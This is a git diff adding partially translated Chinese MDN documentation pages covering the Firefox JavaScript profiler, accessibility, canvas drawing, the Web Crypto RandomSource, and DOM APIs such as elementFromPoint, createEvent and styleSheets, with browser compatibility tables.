This obviously isn't enough data to tell us anything, but with a lot more samples we might be able to conclude that logTheValue() is the bottleneck in our code.

+ +

Creating a profile

+ +

点击探查器中的秒表按钮来开始记录。当探查器正在记录时,秒表按钮是高亮状态。当我们再一次点击秒表按钮时,记录将停止并保存为一个新的Profile:

+ +

+ +

Once you've clicked "Stop", the new profile will open automatically:

+ +

+ +

This pane's divided into two parts:

+ + + +

Analyzing a profile

+ +

The profile is split into two parts:

+ + + +

Profile timeline

+ +

The profile timeline occupies the top part of the profile display:

+ +

The horizontal axis is time, and the vertical axis is call stack size at that sample. Call stack represents the amount of active functions at the time when the sample was taken.

+ +

Red samples along the chart indicate the browser was unresponsive during that time, and a user would notice pauses in animations and responsiveness. If a profile has red samples, consider breaking this code up into several events, and look into using requestAnimationFrame and Workers.

+ +

You can examine a specific range within the profile by clicking and dragging inside the timeline:

+ +

+ +

A new button then appears above the timeline labeled "Sample Range [AAA, BBB]". Clicking that button zooms the profile, and the details view underneath it, to that timeslice:

+ +


+

+ +

Profile details

+ +

The profile details occupy the bottom part of the profile display:

+ +

When you first open a new sample, the sample pane contains a single row labeled "(total)", as in the screenshot above. If you click the arrow next to "(total)", you'll see a list of all the top-level functions which appear in a sample.

+ +

+ +

Running time shows the total number of samples in which this function appeared1, followed by the percentage of all samples in the profile in which this function appeared. The first row above shows that there were 2021 samples in the entire profile, and the second row shows that 1914, or 94.7%, of them were inside the detectImage() function.

+ +

Self shows the number of samples in which the sample was taken while executing this function itself, and not a function it was calling. In the simple example above, doSomething() would have a Running time of 3 (samples A, B, and C), but a Self value of 1 (sample A).

+ +

The third column gives the name of the function along with the filename and line number (for local functions) or basename and domain name (for remote functions). Functions in gray are built-in browser functions: functions in black represent JavaScript loaded by the page. If you hover the mouse over a row you'll see an arrow to the right of the function's identifier: click the arrow and you'll be taken to the function source.

+ +

Expanding the call tree

+ +

In a given row, if there are any samples taken while we were in a function called by this function (that is, if Running Time is greater than Self for a given row) then an arrow appears to the left of the function's name, enabling you to expand the call tree.

+ +

In the simple example above, the fully-expanded call tree would look like this:

+ + + + + + + + + + + + + + + + + + + +
Running TimeSelf 
3            100%1doSomething()
2              67%2logTheValue()
+ +

To take a more realistic example: in the screenshot below, looking at the second row we can see that 1914 samples were taken inside the detectImage() function. But all of them were taken in functions called by detectImage() (the Self cell is zero). We can expand the call tree to find out which functions were actually running when most of the samples were taken:

+ +

+ +

This tells us that 6 samples were taken when we were actually executing detectAtScale(), 12 when we were executing getRect() and so on.

+ +

Footnotes

+ +
    +
  1. If the function is called multiple times from different sources, it will be represented multiple times in the Profiler output. So generic functions like forEach will appear multiple times in the call tree.
  2. +
+ +

 

diff --git a/files/zh-cn/conflicting/web/accessibility/index.html b/files/zh-cn/conflicting/web/accessibility/index.html new file mode 100644 index 0000000000..b01b7be6dd --- /dev/null +++ b/files/zh-cn/conflicting/web/accessibility/index.html @@ -0,0 +1,48 @@ +--- +title: Web Development +slug: Web/Accessibility/Web_Development +tags: + - 网页无障碍访问 +translation_of: Web/Accessibility +translation_of_original: Web/Accessibility/Web_Development +--- +

本篇文档为开发者提供了有关网站无障碍访问以及XUL无障碍开发的更多信息。

+ + + + + + + + +
+

网页无障碍访问

+ +
+
ARIA - 针对开发者
+
ARIA的应用,使得动态HTML的页面内容具有了无障碍的可访问性。在许多的示例中我们都使用了ARIA应用,例如:在线内容区域以及Javascript小组件等。
+
Javascript 组件之键盘导航
+
到现在为止,那些想让基于固有组件的<DIV>和<span>拥有特定样式的Web开发人员,在技术层面都略欠火候。键盘辅助的可用性,同样是必要需求之一,需要开发人员引起足够的重视。
+
+ +

XUL 可访问性

+ +
+
 
+
在XUL中构建可访问的自定义组件
+
使用DHTML无障碍访问技术,来为自定义的XUL组件添加可访问属性。
+
可访问性XUL使用指南
+
当根据使用指南编写完成的同时, XUL有能力自行整合出无障碍用户界面。程序员、核查者、设计师以及质量监管工程师都应该对使用指南保持一定的熟悉程度。
+
+
+

外部资源

+ +
+
深入探寻无障碍访问
+
这本书回答了两个问题。第一个问题是:“为什么我要让我的网站更具无障碍访问性?”第二个问题是“如何使我的网站做到这一点?”
+
无障碍访问网页的编写
+
这是一本来自于IBM的便携式无障碍访问列表。
+
+
+ +

 

diff --git a/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html b/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html new file mode 100644 index 0000000000..3cef2b94e8 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html @@ -0,0 +1,163 @@ +--- +title: Drawing graphics with canvas +slug: Web/API/Canvas_API/Drawing_graphics_with_canvas +translation_of: Web/API/Canvas_API/Tutorial +translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas +--- +
+

本文大部分(但不包括关于绘制窗体部分的文档)已经被包含到更详尽的Canvas教程中,该页面因为现在已经显得多余可能会被链接到那里,但是某些信息可能仍然是十分有用的。

+

 

+
+

Introduction

+

With Firefox 1.5, Firefox includes a new HTML element for programmable graphics. <canvas> is based on the WHATWG canvas specification, which itself is based on Apple's <canvas> implemented in Safari. It can be used for rendering graphs, UI elements, and other custom graphics on the client.

+

<canvas> creates a fixed size drawing surface that exposes one or more rendering contexts. We'll focus on the 2D rendering context. For 3D graphics, you should use the WebGL rendering context.

+

The 2D Rendering Context

+

A Simple Example

+

To start off, here's a simple example that draws two intersecting rectangles, one of which has alpha transparency:

+
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "rgb(200,0,0)";
+  ctx.fillRect (10, 10, 55, 50);
+
+  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+  ctx.fillRect (30, 30, 55, 50);
+}
+
+ +

{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}

+

The draw function gets the canvas element, then obtains the 2d context. The ctx object can then be used to actually render to the canvas. The example simply fills two rectangles, by setting fillStyle to two different colors using CSS color specifications and calling fillRect. The second fillStyle uses rgba() to specify an alpha value along with the color.

+

The fillRect, strokeRect, and clearRect calls render a filled, outlined, or clear rectangle. To render more complex shapes, paths are used.

+

Using Paths

+

The beginPath function starts a new path, and moveTo, lineTo, arcTo, arc, and similar methods are used to add segments to the path. The path can be closed using closePath. Once a path is created, you can use fill or stroke to render the path to the canvas.

+
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "red";
+
+  ctx.beginPath();
+  ctx.moveTo(30, 30);
+  ctx.lineTo(150, 150);
+  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
+  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // <- this is right formula for the image on the right ->
+  ctx.lineTo(30, 30);
+  ctx.fill();
+}
+
+ +

{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}

+

Calling fill() or stroke() causes the current path to be used. To be filled or stroked again, the path must be recreated.

+

Graphics State

+

Attributes of the context such as fillStyle, strokeStyle, lineWidth, and lineJoin are part of the current graphics state. The context provides two methods, save() and restore(), that can be used to move the current state to and from the state stack.

+

A More Complicated Example

+

Here's a little more complicated example, that uses paths, state, and also introduces the current transformation matrix. The context methods translate(), scale(), and rotate() all transform the current matrix. All rendered points are first transformed by this matrix.

+
function drawBowtie(ctx, fillStyle) {
+
+  ctx.fillStyle = "rgba(200,200,200,0.3)";
+  ctx.fillRect(-30, -30, 60, 60);
+
+  ctx.fillStyle = fillStyle;
+  ctx.globalAlpha = 1.0;
+  ctx.beginPath();
+  ctx.moveTo(25, 25);
+  ctx.lineTo(-25, -25);
+  ctx.lineTo(25, -25);
+  ctx.lineTo(-25, 25);
+  ctx.closePath();
+  ctx.fill();
+}
+
+function dot(ctx) {
+  ctx.save();
+  ctx.fillStyle = "yellow";
+  ctx.fillRect(-2, -2, 4, 4);
+  ctx.restore();
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // note that all other translates are relative to this one
+  ctx.translate(45, 45);
+
+  ctx.save();
+  //ctx.translate(0, 0); // unnecessary
+  drawBowtie(ctx, "red");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 0);
+  ctx.rotate(45 * Math.PI / 180);
+  drawBowtie(ctx, "green");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(0, 85);
+  ctx.rotate(135 * Math.PI / 180);
+  drawBowtie(ctx, "blue");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 85);
+  ctx.rotate(90 * Math.PI / 180);
+  drawBowtie(ctx, "yellow");
+  dot(ctx);
+  ctx.restore();
+}
+
+ +

{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}

+

This defines two methods, drawBowtie and dot, that are called 4 times. Before each call, translate() and rotate() are used to set up the current transformation matrix, which in turn positions the dot and the bowtie. dot renders a small black square centered at (0, 0). That dot is moved around by the transformation matrix. drawBowtie renders a simple bowtie path using the passed-in fill style.

+

As matrix operations are cumulative, save() and restore() are used around each set of calls to restore the original canvas state. One thing to watch out for is that rotation always occurs around the current origin; thus a translate() rotate() translate() sequence will yield different results than a translate() translate() rotate() series of calls.

+

Compatibility With Apple <canvas>

+

For the most part, <canvas> is compatible with Apple's and other implementations. There are, however, a few issues to be aware of, described here.

+

Required </canvas> tag

+

In the Apple Safari implementation, <canvas> is an element implemented in much the same way <img> is; it does not have an end tag. However, for <canvas> to have widespread use on the web, some facility for fallback content must be provided. Therefore, Mozilla's implementation has a required end tag.

+

If fallback content is not needed, a simple <canvas id="foo" ...></canvas> will be fully compatible with both Safari and Mozilla -- Safari will simply ignore the end tag.

+

If fallback content is desired, some CSS tricks must be employed to mask the fallback content from Safari (which should render just the canvas), and also to mask the CSS tricks themselves from IE (which should render the fallback content).

+
canvas {
+  font-size: 0.00001px !ie;
+}
+

Additional Features

+

Rendering Web Content Into A Canvas

+
+ This feature is only available for code running with Chrome privileges. It is not allowed in normal HTML pages. Read why.
+

Mozilla's canvas is extended with the drawWindow() method. This method draws a snapshot of the contents of a DOM window into the canvas. For example,

+
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
+
+

would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).

+

It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.

+

With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation.

+

Ted Mielczarek's tab preview extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.

+
+ Note: Using canvas.drawWindow() while handling a document's onload event doesn't work. In Firefox 3.5 or later, you can do this in a handler for the MozAfterPaint event to successfully draw HTML content into a canvas on page load.
+

See also

+ diff --git a/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html new file mode 100644 index 0000000000..1366009032 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html @@ -0,0 +1,107 @@ +--- +title: RandomSource +slug: Web/API/RandomSource +translation_of: Web/API/Crypto/getRandomValues +translation_of_original: Web/API/RandomSource +--- +

{{APIRef("Web Crypto API")}}

+ +

RandomSource 代表密码学安全随机数的来源。它可以通过全局对象的 {{domxref("Crypto")}} 获取:网页中的 {{domxref("Window.crypto")}},Workrt 里面的 {{domxref("WorkerGlobalScope.crypto")}}。

+ +

RandomSource 不是一个接口,这个类型的对象不可以被创建。

+ +

属性

+ +

RandomSource 既没有定义也没有属性。

+ +
+
+ +

方法

+ +
+
{{ domxref("RandomSource.getRandomValues()") }}
+
使用密码学可靠的随机值填充传递过来的 {{ domxref("ArrayBufferView") }}。
+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Crypto API', '#dfn-RandomSource')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support11.0 {{ webkitbug("22049") }}{{CompatVersionUnknown}}{{CompatGeckoDesktop(21)}} [1]11.015.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}23{{CompatVersionUnknown}}{{CompatGeckoMobile(21)}}{{ CompatNo() }}{{ CompatNo() }}6
+
+ +

[1] Although the transparent RandomSource is only available since Firefox 26, the feature was available in Firefox 21.

+ +

参见

+ + diff --git a/files/zh-cn/conflicting/web/api/document/characterset/index.html b/files/zh-cn/conflicting/web/api/document/characterset/index.html new file mode 100644 index 0000000000..00701e8acf --- /dev/null +++ b/files/zh-cn/conflicting/web/api/document/characterset/index.html @@ -0,0 +1,21 @@ +--- +title: document.inputEncoding +slug: Web/API/Document/inputEncoding +translation_of: Web/API/Document/characterSet +translation_of_original: Web/API/Document/inputEncoding +--- +

{{ ApiRef() }} {{ deprecated_header() }}

+

概述

+

返回一个字符串,代表当前文档渲染时所使用的编码.(比如utf-8).

+
+ 警告: 不要再使用该属性.该属性在DOM 4 规范(草案)中已经被废弃. Gecko 在未来的版本中将会删除它.
+

语法

+
encoding = document.inputEncoding;
+
+

inputEncoding 是个只读属性.

+

规范

+ +

{{ languages( {"en": "en/DOM/document.inputEncoding" } ) }}

diff --git a/files/zh-cn/conflicting/web/api/document/createevent/index.html b/files/zh-cn/conflicting/web/api/document/createevent/index.html new file mode 100644 index 0000000000..8b9c249c71 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/document/createevent/index.html @@ -0,0 +1,35 @@ +--- +title: Event.createEvent() +slug: Web/API/Event/createEvent +tags: + - DOM + - Event + - JavaScript + - Method +translation_of: Web/API/Document/createEvent +translation_of_original: Web/API/Event/createEvent +--- +

{{APIRef("DOM")}}

+ +

创建一个新的事件(Event),随之必须调用自身的 init 方法进行初始化。

+ +

语法

+ +
document.createEvent(type) 
+ +
+
type
+
指明待创建事件对象的类型的字符串
+
+ +

此方法返回一个新的特定类型的 DOM {{ domxref("Event") }} 对象,此对象在使用前必须经过初始化(init)。

+ +

示例

+ +
var newEvent = document.createEvent("UIEvents");
+ +

规范

+ + diff --git a/files/zh-cn/conflicting/web/api/document/hasfocus/index.html b/files/zh-cn/conflicting/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..df29adde76 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/document/hasfocus/index.html @@ -0,0 +1,79 @@ +--- +title: HTML 焦点管理 +slug: Web/HTML/Focus_management_in_HTML +tags: + - DOM + - HTML + - HTML5 + - 焦点 +translation_of: Web/API/Document/hasFocus +translation_of_original: Web/HTML/Focus_management_in_HTML +--- +

重定向 Document.hasFocus()

+ +

 

+ +

在 HTML5 工作草案中,DOM 属性 activeElement 与方法 hasFocus() 为程序员提供了更好的控制页面交互的能力,特别是对于用户行为引发的交互。例如,它们都可以用于统计使用目的,跟踪页面特定链接的点击次数,计算元素获得焦点的次数等等。此外,当与 AJAX 技术结合以后,将会减少向服务器请求的数目,这取决于用户的活跃程度和页面的布局。

+ +

浏览器兼容性

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("1.9.2")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

浏览器相关注释

+ +

Gecko notes

+ +

[1] Gecko 8.0 {{geckoRelease("8.0")}} 开始,Firefox 会在任意 tabindex 值大于 0 的元素周围绘制一个焦点框,而不只是一小部分元素。一部分元素例外: {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, {{HTMLElement("iframe")}}, {{HTMLElement("frame")}}, {{HTMLElement("body")}} 和 {{HTMLElement("html")}}。

+ +

另请参阅

+ + diff --git a/files/zh-cn/conflicting/web/api/document_object_model/index.html b/files/zh-cn/conflicting/web/api/document_object_model/index.html new file mode 100644 index 0000000000..80f115abfd --- /dev/null +++ b/files/zh-cn/conflicting/web/api/document_object_model/index.html @@ -0,0 +1,52 @@ +--- +title: 前言 +slug: Web/API/Document_Object_Model/Preface +translation_of: Web/API/Document_Object_Model +translation_of_original: Web/API/Document_Object_Model/Preface +--- +

{{ ApiRef() }}

+

关于此参考文档

+

本节将描述与此向导本身相关的一些内容,内容包括它是做什么的,里面的信息是如何呈现的,以及怎样在你DOM开发中如何使用这份参考文档中的示例。

+

注意,这份文档尚在开发中,并没有完整包含Gecko中所有已经移植的DOM方法及其属性,但是,文档中的每一个小节(例如,DOM文件参考)中所描述的对象是完整的。今后当某个API库的成员的信息可用时,它将会被整合到此文档中。

+

哪些人应该阅读这份指南

+

这份Gecko DOM参考文档的读者应该是一位web开发人员或者是一位对网页制作有一定了解的熟练web用户。这份文档对读者对DOM、XML、web服务或者web标准,甚至JavaScript——DOM呈现给读者的语言——的熟练度都没有要求。但是,本文档假定读者至少对HTML、标签、网页的基本结构、浏览器以及样式表是熟悉的。

+

在这里,介绍性的资料在展示的同时伴随有许多示例,并且高等级的解释对没有经验的和经验丰富的web开发者都同样有用,并且也并不仅仅针对入门开发者。然而,这是一份正在不断改进中的API参考手册。

+

什么是Gecko?

+

Mozilla,Firefox, Netscape 6以上版本,以及一些基于Mozilla的其他浏览器都有一个相同的对DOM的实现。这是因为它们使用的是相同的技术。

+

Gecko,即在上述各种浏览器中处理HTML的解析,页面的排版,文档对象模型,以及整个应用界面的渲染的软件组件,是一个快速的、兼容多种标准的渲染引擎。它移植了W3C的DOM标准以及出现在网页页面和应用界面(或者称为chrome)中的类DOM(但尚未标准化)的浏览器对象模型(即所谓window等的)。

+

尽管应用界面和页面内容在不同的浏览器里的呈现方式不一样,但是DOM期望它们统一地作为一种节点的分层结构。

+

API语法

+

API参考里的每个描述都包括语法、输入输出参数(包括返回类型),一个例子,额外的一些提示,以及指向对应参考文档的链接。

+

只读的属性只能被读取。因为它们无法被设置,所以通常以一个单独的一行语法表示。例如screen对象的只读属性availHeight使用的语法如下:

+
iAvail = window.screen.availHeight
+
+

这意味着你只能把该只读属性放在等式的右边。

+

可读/写的属性,既能被读取也能被写入:

+
msg = window.status
+window.status = msg
+
+

一般来说,描述对象的成员时,对象的格式声明通常都带有一个简单的类型描述符,例如,对所有的元素使用element,对所有的顶层文档对象使用document,对所有的表对象使用table等(详见重要的数据类型)。

+

如何使用示例

+

本参考文档中的许多示例都是完整的文档,你可以把他们复制粘贴到一个新的文件,然后在浏览器中打开它。

+

其他的例子是一些代码片段。你可以把它们加入到JavaScript的回调函数中来执行。

+

例如,这个关于window.document属性的例子能通过一个函数来测试。这里,它通过一个按钮的onclick 属性来调用。

+
<html>
+<head>
+<title>Test Page</title>
+<script type="text/javascript">
+function testWinDoc() {
+
+  var doc= window.document;
+
+  alert(doc.title);
+
+}
+</script>
+</head>
+
+<body>
+  <button onclick="testWinDoc();">test document property</button>
+</body>
+</html>
+
+

其他一些尚未完整打包的对象成员也采用与此类似的函数和页面。参见测试DOM API,可以一次对各种API的做一次“无害测试”。

diff --git a/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html b/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html new file mode 100644 index 0000000000..e09b7ab597 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html @@ -0,0 +1,33 @@ +--- +title: DOM 开发者指南 +slug: Web/Guide/API/DOM +tags: + - API + - DOM + - Guide + - NeedsTranslation + - TopicStub +translation_of: Web/API/Document_Object_Model +translation_of_original: Web/Guide/API/DOM +--- +

{{draft}}

+ +

文档对象模型( Document Object Model) 是为 HTMLXML 文档编写的应用程序接口。它为文档提供了结构化的描述, 使得开发者能够修改它们的内容和展现方式. 更重要的是, 它可以将网页与脚本或编程语言连接起来。

+ +

开发者能用来修改和创建网页的所有性质、方法和事件都被组织到对象objects)中, (例如, document 对象代表着文档本身,table 对象代表 一个 HTML 表格元素等等)。在较新的网络浏览器中,这些对象都可以用脚本语言获取。

+ +

DOM模型常被用来与 JavaScript交互。然而,DOM是独立于任何编程语言之外而设计的,这使得文档的结构化描述可以从一个单个、兼容的接口获取,尽管我们青睐于Javascript,但我们可以为任何语言创建DOM的引用接口。

+ +

万维网联盟组织( World Wide Web Consortium )为DOM建立了一套标准, 叫做 W3C DOM。它被如今大多数主流浏览器所支持,使得可以开发出强大的跨浏览器应用。

+ +

为什么DOM很重要?

+ +

"动态超文本链接语言" (DHTML) 是一个被一些开发者们用来描述结合HTML、样式表、脚本而使文档富有动态效果技术的名词。 W3C DOM工作组致力于开发可操作的、不受语言限制并被大家所认同的解决方案 (可参见 W3C 问答).

+ +

正如 Mozilla 的标题"网络应用程序平台”所强调的, 对DOM的支持是核心的特点,也是Mozilla能取代其它浏览器所必需的特点。更为重要的事实是--Mozilla(包括Firefox和Thunderbird)的用户界面都是用XUL创建的,并且用DOM修改自己的用户界面

+ +

更多关于DOM的内容

+ +

{{LandingPageListSubpages}}

+ +

 

diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html new file mode 100644 index 0000000000..6fb591e1da --- /dev/null +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html @@ -0,0 +1,45 @@ +--- +title: Document.elementFromPoint() +slug: Web/API/Document/elementFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint +translation_of_original: Web/API/Document/elementFromPoint +--- +
+ {{APIRef()}} {{Fx_minversion_header(3)}}
+

概述

+

返回当前文档上处于指定坐标位置最顶层的元素, 坐标是相对于包含该文档的浏览器窗口的左上角为原点来计算的, 通常 x 和 y 坐标都应为正数.

+

语法

+
var element = document.elementFromPoint(x, y);
+ +

示例

+
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>elementFromPoint example</title>
+
+<script>
+function changeColor(newColor) {
+  elem = document.elementFromPoint(2, 2);
+  elem.style.color = newColor;
+}
+</script>
+</head>
+
+<body>
+<p id="para1">Some text here</p>
+<button onclick="changeColor('blue');">blue</button>
+<button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+

附注

+

If the element at the specified point belongs to another document (for example, an iframe's subdocument), the element in the DOM of the document the method is called on (in the iframe case, the iframe itself) is returned. If the element at the given point is anonymous or XBL generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.

+

If the specified point is outside the visible bounds of the document or either coordinate is negative, the result is null.

+

{{Note("Callers from XUL documents should wait until the onload event has fired before calling this method.")}}

+

规范

+ diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html new file mode 100644 index 0000000000..9a7ee01503 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html @@ -0,0 +1,129 @@ +--- +title: Document.elementsFromPoint() +slug: Web/API/Document/elementsFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint +translation_of_original: Web/API/Document/elementsFromPoint +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

elementsFromPoint() 方法可以获取到当前视口内指定坐标处,由里到外排列的所有元素。

+ +

语法

+ +
var elements = document.elementsFromPoint(x, y);
+ +

返回值

+ +

一个包含多个元素的数组

+ +

参数

+ +
+
x
+
当前视口内某一点的横坐标
+
y
+
当前视口内某一点的纵坐标
+
+ +

示例

+ +

HTML

+ +
<div>
+  <p>Some text</p>
+</div>
+<p>Elements at point 30, 20:</p>
+<div id="output"></div>
+
+ +

JavaScript

+ +
var output = document.getElementById("output");
+if (document.elementsFromPoint) {
+  var elements = document.elementsFromPoint(30, 20);
+  for(var i = 0; i < elements.length; i++) {
+    output.textContent += elements[i].localName;
+    if (i < elements.length - 1) {
+      output.textContent += " < ";
+    }
+  }
+} else {
+  output.innerHTML = "<span style=\"color: red;\">" +
+     "您的浏览器不支持 <code>document.elementsFromPoint()</code>" +
+     "</span>";
+}
+ +

{{EmbedLiveSample('Example', '420', '120')}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint')}}{{Spec2('CSSOM View')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support {{CompatChrome(43.0)}}{{CompatGeckoDesktop("46.0")}}[1]10.0 {{property_prefix("ms")}}{{CompatUnknown}}{{CompatSafari(11)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(43.0)}}{{CompatGeckoMobile("46.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari(11)}}{{CompatChrome(43.0)}}
+
+ +

 

diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html new file mode 100644 index 0000000000..73b3a4ce6b --- /dev/null +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html @@ -0,0 +1,15 @@ +--- +title: document.getSelection +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +translation_of_original: Web/API/Document/getSelection +--- +
+
+

{{APIRef("DOM")}}

+ +

该方法的功能等价于 {{domxref("Window.getSelection()")}} 方法;其返回一个 {{domxref("Selection")}} 对象,表示文档中当前被选择的文本。

+
+
+ +

 

diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html new file mode 100644 index 0000000000..de44c8537b --- /dev/null +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html @@ -0,0 +1,26 @@ +--- +title: Document.styleSheets +slug: Web/API/Document/styleSheets +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +translation_of_original: Web/API/Document/styleSheets +--- +
{{APIRef}}
+ +

Document.styleSheets 只读属性,返回一个由 {{domxref("StyleSheet ")}} 对象组成的 {{domxref("StyleSheetList")}},每个 {{domxref("StyleSheet ")}} 对象都是一个文档中链接或嵌入的样式表。

+ +

语法

+ +
let styleSheetList = document.styleSheets;
+
+ +

返回的对象是一个 {{domxref("StyleSheetList")}}。

+ +

它是一个 {{domxref("StyleSheet")}} 对象的有序集合。styleSheetList.item(index) 或 styleSheetList{{ mediawiki.External('index') }} 根据它的索引(索引基于0)返回一个单独的样式表对象。

+ +
 
+ +

规范

+ + diff --git a/files/zh-cn/conflicting/web/api/dommatrix/index.html b/files/zh-cn/conflicting/web/api/dommatrix/index.html new file mode 100644 index 0000000000..16fe55276d --- /dev/null +++ b/files/zh-cn/conflicting/web/api/dommatrix/index.html @@ -0,0 +1,94 @@ +--- +title: CSSMatrix +slug: Web/API/CSSMatrix +translation_of: Web/API/DOMMatrix +translation_of_original: Web/API/CSSMatrix +--- +
{{APIRef("CSSOM")}}{{Non-standard_header}}
+ +

CSSMatrix 代表可以用于2D或3D变换的4x4齐次矩阵。据说这个类曾经是 CSS Transitions Module Level 3 的一部分,但在现在的工作草案里不存在 。请使用  DOMMatrix

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Compat', '#webkitcssmatrix-interface', 'WebKitCSSMatrix')}}{{Spec2('Compat')}}Initial standardization of the WebKit-prefixed version, WebKitCSSMatrix.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}11[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
+
+ +

[1] Internet Explorer 将此 API实现为MSCSSMatrix。在版本11中,加入了别名WebKitCSSMatrix

+ +

[2] WebKit 将此 API实现为WebKitCSSMatrix

+ +

相关链接

